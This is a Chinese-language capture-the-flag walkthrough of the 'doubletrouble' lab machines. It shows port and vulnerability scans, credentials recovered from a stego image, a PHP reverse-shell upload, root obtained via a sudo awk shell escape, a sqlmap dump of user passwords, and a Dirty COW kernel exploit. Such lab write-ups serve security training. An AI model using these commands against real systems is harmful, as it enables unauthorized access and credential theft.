主机发现

端口扫描

```
PORT
      STATE SERVICE VERSION
22/tcp open ssh
                    OpenSSH 7.9p1 Debian 10+deb10u2
(protocol 2.0)
| ssh-hostkey:
    2048 6afed61723cb90792bb12d3753974658 (RSA)
    256 5bc468d18959d748b096f311871c08ac (ECDSA)
|_ 256 613966881d8ff1d040611e99c51a1ff4 (ED25519)
                     Apache httpd 2.4.38 ((Debian))
80/tcp open http
|_http-title: qdPM | Login
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:AD:57:CB (VMware)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4
cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
```

upp扫描

```
null
```

漏洞扫描

```
PORT STATE SERVICE

22/tcp open ssh

80/tcp open http

|_http-csrf: Couldn't find any CSRF vulnerabilities.
| http-sql-injection:
| Possible sqli for forms:
```

```
Form at path: /index.php/login/restorePassword,
form's action: /index.php/login/restorePassword. Fields
that might be vulnerable:
       restorePassword[email]
|_http-stored-xss: Couldn't find any stored XSS
vulnerabilities.
| http-enum:
   /backups/: Backup folder w/ directory listing
   /robots.txt: Robots file
  /batch/: Potentially interesting directory w/ listing
on 'apache/2.4.38 (debian)'
  /core/: Potentially interesting directory w/ listing
on 'apache/2.4.38 (debian)'
  /css/: Potentially interesting directory w/ listing on
'apache/2.4.38 (debian)'
  /images/: Potentially interesting directory w/ listing
on 'apache/2.4.38 (debian)'
  /install/: Potentially interesting folder
  /js/: Potentially interesting directory w/ listing on
'apache/2.4.38 (debian)'
  /secret/: Potentially interesting directory w/ listing
on 'apache/2.4.38 (debian)'
   /template/: Potentially interesting directory w/
listing on 'apache/2.4.38 (debian)'
|_ /uploads/: Potentially interesting directory w/
listing on 'apache/2.4.38 (debian)'
| http-internal-ip-disclosure:
|_ Internal IP Leaked: 127.0.0.1
|_http-vuln-cve2017-1001000: ERROR: Script execution
failed (use -d to debug)
|_http-dombased-xss: Couldn't find any DOM based XSS.
```

web信息收集

根据漏洞扫描所得到的目录尝试访问:

值得关注的地方





2014-09-15 08:03 1.3K

Apache/2.4.38 (Debian) Server at 172.<mark>16.170.56 Port 80</mark>

中间件版本 Apache/2.4.38 (Debian) Server

username: otis
password: "<?php echo urlencode('rush') ; ?>"

拿到一张图,wp中描述有隐写,使用setgseek获取内容

```
(kali kali) - [~/Desktop]
$ stegseek bachang/doubletrouble.jpg
StegSeek 0.6 - https://github.com/RickdeJager/StegSeek

[i] Found passphrase: "92camaro"
[i] Original filename: "creds.txt".
[i] Extracting to "doubletrouble.jpg.out".

| hidden | les | les |
| cat doubletrouble.jpg.out
| otisrush@localhost.com
| otis666
```

得到密码

```
otisrush@localhost.com
otis666
```

在主页发现了上传图片的地方,但是过滤不够严格,php也是能上传的

上传木马反弹shell

漏洞利用

```
196811-shell.php 769636-shell.php
www-data@doubletrouble:/var/www/html/uploads/users$ cd /home/
cd /home/
www-data@doubletrouble:/home$ ls
www-data@doubletrouble:/home$ sudo -l
sudo -l
Matching Defaults entries for www-data on doubletrouble:
     env_reset, mail_badpass
      secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User www-data may run the following commands on doutletrouble:

(ALL : ALL) NOPASSWD: /usr/bin/awk

www-data@doubletrouble:/home$ /usr/bin/awk
/usr/bin/awk
Usage: awk [POSIX or GNU style options] -f progfile [--] file ...
Usage: awk [POSIX or GNU style options] [--] 'program' file ...
POSIX options: GNU long options: (standard)
-f progfile --file=progfile
-F fs --field-separator=fs
                                    --file=progfile
--field-separator=fs
-F fs
-v var=val
Short options:
-characters-as-bytes
-ditional
                                   --characters-as-bytes
--traditional
                                             --copyright
--dump-variables[=file]
           -d[file] --dump-variables[=file]
-D[file] --debug[=file]
-e 'program-text' --source='program-text'
-E file --exec=file
                                               -- gen-pot
            -h
-i includefile
-i library
                                               --help
                                             --include=includefile
--load=library
--lint[=fatal|invalid]
            -l library
-L[fatal|invalid]
                                                --bignum
                                                --use-lc-numeric
            -N
                                                --non-decimal-data
```

```
www-data@doubletrouble:/home$ awk 'BEGIN{system("/bin/bash")}'
awk 'BEGIN{system("/bin/bash")}'
www-data@doubletrouble:/home$ id
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
www-data@doubletrouble:/home$ sudo awk 'BEGIN{system("/bin/bash")}'
sudo awk 'BEGIN{system("/bin/bash")}'
root@doubletrouble:/home# id
id
uid=0(root) gid=0(root) groups=0(root)
root@doubletrouble:/home#
```

参考: https://www.cnblogs.com/zlgxzswjy/p/10216552.html#:~:text=%27 BEGIN%20%7Bsystem(%22/bin/bash%22)%7D%27

发现新的靶机

获取靶机

通过移动到uploads目录下下载得到靶机

端口扫描

```
PORT
      STATE SERVICE VERSION
22/tcp open ssh
                    OpenSSH 6.0pl Debian 4+deb7u4
(protocol 2.0)
| ssh-hostkey:
    1024 e84f84fc7a20378b2bf314a9549eb70f (DSA)
    2048 0c1050f5a2d874f194c560d71a78a4e6 (RSA)
|_ 256 050395760c7facdbb299137e9c26cad1 (ECDSA)
80/tcp open http
                     Apache httpd 2.2.22 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.2.22 (Debian)
MAC Address: 00:0C:29:05:06:53 (VMware)
Device type: general purpose
Running: Linux 3.X
OS CPE: cpe:/o:linux:linux_kernel:3
OS details: Linux 3.2 - 3.10, Linux 3.2 - 3.16
```

漏洞扫描

```
22/tcp open ssh
80/tcp open http
|_http-vuln-cve2017-1001000: ERROR: Script execution
failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS
vulnerabilities.
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20;
withinhost=172.16.170.41
```

```
| Found the following possible CSRF vulnerabilities:
| Path: http://172.16.170.41:80/
| Form id: frmlogin
| Form action: index.php
| Path: http://172.16.170.41:80/index.php
| Form id: frmlogin
| Form action: index.php
```

ps: python3 -m http.server 4444 开启网站

web信息收集

web80端口运行着一个登录页面尝试了密码都不能登录,用sqlmap跑一下得到

```
sqlmap -u http://172.16.170.41/index.php -D doubletrouble -T users --dump --forms --batch
```

```
Database: doubletrouble
Table: users
[2 entries]
+-----+
| password | username |
+-----+
| GfsZxc1 | montreux |
| ZubZub99 | clapton |
+-----+
```

尝试登录web发现都不行

尝试22端口ssh

用户clapton登录成功

提权

linux版本是3.x,脏牛漏洞可用

上传至靶机编译运行,在/root/root.txt中获得flag